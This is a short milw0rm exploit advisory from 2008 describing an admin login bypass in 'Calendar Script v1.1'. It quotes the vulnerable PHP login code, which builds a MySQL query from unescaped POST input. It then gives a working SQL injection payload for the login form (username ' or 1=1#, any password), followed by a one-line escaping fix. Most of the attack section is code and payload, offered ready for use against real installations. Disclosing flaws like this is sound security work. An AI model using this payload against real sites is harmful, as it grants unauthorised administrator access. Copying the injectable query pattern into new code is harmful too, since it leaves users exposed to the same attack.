44 lines
No EOL
1.4 KiB
Text
44 lines
No EOL
1.4 KiB
Text
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Calendar Script v1.1 Admin Login Bypass Vulnerability
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by athos - staker[at]hotmail[dot]it
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http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1
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File Vuln "index.php" (code details)
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4. $action = $_POST['action'];
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5.
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6. switch($action) {
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7. case 'login':
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8. // login
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9. $username = stripslashes(trim($_POST['username']));
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10. $password = sha1(stripslashes(trim($_POST['password'])));
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11.
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12. if(empty($username) || empty($password)) {
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13. // Stop, someone tried entering nothing into here
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14. // Show an error.
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15. $loginMsg = 'You must enter a username and password';
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16. } else {
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17. // The input seems to be ok, check it against the database.
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18. $checkDetails = mysql_query("SELECT id FROM user WHERE username='$username' AND password='$password' LIMIT 1", $conn);
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Exploit
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http://[host]/[path]/index.php
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(Login) Username: ' or 1=1# & Password: anything
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------------------------------------------------------------
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Fix: $username = mysql_real_escape_string($_POST['username']);
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Note: works regardless php.ini settings (str0ke =D)
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don't add me on msn messenger
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------------------------------------------------------------
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# milw0rm.com [2008-12-22] |